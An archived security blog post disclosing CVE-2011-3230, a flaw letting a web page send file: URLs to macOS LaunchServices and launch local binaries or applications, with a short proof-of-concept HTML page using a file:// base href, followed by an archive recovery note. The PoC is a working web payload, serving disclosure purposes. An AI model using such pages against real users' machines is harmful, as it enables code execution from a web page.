CVE-2011-3230 - Launch any file path from web page

CVE-2011-3230 - Launch any file path from web page - Aaron Sigel, vttynotes.blogspot.com.

- Published: date not stated
- Original: <https://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html>
- Preserved from: https://vttynotes.blogspot.com/2011/10/cve-2011-3230-launch-any-file-path-from.html (stored) on 2026-08-07
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Content

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CVE: CVE-2011-3230

Found By: Aaron Sigel

There's not a ton to say about this bug aside from "Yikes"! I think the PoC speaks for itself. This allows you to send any "file:" url to LaunchServices, which will run binaries, launch applications, or open content in the default application, all from a web page. The only caveat is that since LaunchServices will check for the quarantine bit, you cannot directly push a binary to the browser and launch it. Other than that, you can run or launch anything you can access by using the method in the html provided below.

|

```
<html>
<head>
<base href="file://">
<script>
 function DoIt() {
  alert(document.getElementById("cmdToRun").value);
  document.location=document.getElementById("cmdToRun").value;
 }
</script>
</head>
<body>
<select id="cmdToRun">
 <option value="/usr/sbin/netstat">Launch /usr/bin/netstat</option>
 <option value="/etc/passwd">Launch /etc/passwd</option>
 <option value="/Applications/Utilities/Bluetooth File Exchange.app">
Launch Bluetooth File Exchange.app</option>
</select>
<br />
<input type=button value="Launch" >
<br />
</body>
</html>
```

| |

Apple's advisory: http://support.apple.com/kb/HT5000

Recovery notes

Source evidence recovered on 2026-09-14. The earlier source capture (SHA-256 `2f23cb1dee1981f6131f6a5d23f94e6509ebbb12f788f85ec251a58ea798d62a`) is no longer available. This publication uses a separately preserved capture of the same document recorded on 2026-08-07 (SHA-256 `5aa935ee3db3d3647d42f13aa25802ed682e6e6aa9fc04fafdae568c4549f174`). The existing article text is retained. The archive journal ties this replacement source to the same extracted content; differences in the published copy are documented formatting and footer cleanup. The missing earlier capture remains documented in the archive history.

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